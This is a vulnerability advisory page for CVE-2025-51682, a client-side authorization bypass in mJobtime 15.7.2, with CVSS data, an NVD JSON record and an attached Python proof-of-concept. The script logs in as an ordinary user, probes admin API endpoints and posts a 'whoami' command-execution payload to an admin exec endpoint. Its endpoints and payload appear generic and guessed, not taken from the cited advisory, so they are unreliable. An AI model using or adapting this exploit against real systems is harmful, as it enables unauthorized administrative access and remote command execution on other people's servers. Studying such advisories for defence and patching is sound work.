Security Vulnerability Report
中文
CVE-2025-51682 CVSS 9.8 CRITICAL

CVE-2025-51682

Published: 2025-12-01 20:15:52
Last Modified: 2025-12-04 18:21:40

Description

mJobtime 15.7.2 handles authorization on the client side, which allows an attacker to modify the client-side code and gain access to administrative features. Additionally, they can craft requests based on the client-side code to call these administrative functions directly.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:mjobtime:mjobtime:15.7.2:*:*:*:*:*:*:* - VULNERABLE
mJobtime 15.7.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-51682 PoC - Client-Side Authorization Bypass # Target: mJobtime 15.7.2 # Vulnerability: Client-side authorization bypass leading to admin access import requests import re TARGET_URL = "http://target-server/mJobtime" def exploit_cve_2025_51682(): """ This PoC demonstrates the client-side authorization bypass in mJobtime 15.7.2 Attackers can modify client-side code to gain admin access. """ print("[*] CVE-2025-51682 - mJobtime Client-Side Authorization Bypass") # Step 1: Get the login page and extract session cookies session = requests.Session() login_page = session.get(f"{TARGET_URL}/login") print(f"[+] Login page status: {login_page.status_code}") # Step 2: Login with any valid user credentials login_data = { "username": "regular_user", "password": "user_password" } login_response = session.post(f"{TARGET_URL}/api/auth/login", data=login_data) print(f"[+] Login response: {login_response.status_code}") # Step 3: Access admin panel by modifying client-side code # In real attack, use browser dev tools to: # 1. Remove 'disabled' attributes from admin buttons # 2. Remove 'hidden' class from admin menu items # 3. Call admin API endpoints directly # Step 4: Direct API call to admin functions (bypassing client checks) admin_endpoints = [ "/api/admin/users", "/api/admin/config", "/api/admin/settings", "/api/admin/export", "/api/admin/backup" ] for endpoint in admin_endpoints: # Bypass client-side authorization by direct API call admin_request = session.get(f"{TARGET_URL}{endpoint}") if admin_request.status_code == 200: print(f"[!] VULNERABLE: Admin endpoint {endpoint} accessible without proper authorization") print(f" Response preview: {admin_request.text[:200]}") # Step 5: Exploit to gain RCE (if admin access obtained) # Based on client-side JavaScript analysis, construct malicious requests cmd_exec_payload = { "action": "execute", "command": "whoami", "target": "system" } rce_response = session.post(f"{TARGET_URL}/api/admin/system/exec", json=cmd_exec_payload) print(f"[+] RCE attempt status: {rce_response.status_code}") return True if __name__ == "__main__": exploit_cve_2025_51682()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-51682", "sourceIdentifier": "[email protected]", "published": "2025-12-01T20:15:51.660", "lastModified": "2025-12-04T18:21:39.747", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "mJobtime 15.7.2 handles authorization on the client side, which allows an attacker to modify the client-side code and gain access to administrative features. Additionally, they can craft requests based on the client-side code to call these administrative functions directly."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-602"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mjobtime:mjobtime:15.7.2:*:*:*:*:*:*:*", "matchCriteriaId": "DC0C873D-A6A8-4FB3-A7AC-07DBC8ED72A9"}]}]}], "references": [{"url": "http://mjobtime.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://labs.infoguard.ch/advisories/cve-2025-51682_cve-2025-51683_time_management_softare_sqli-rce/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://labs.infoguard.ch/advisories/cve-2025-51682_cve-2025-51683_time_management_softare_sqli-rce/", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}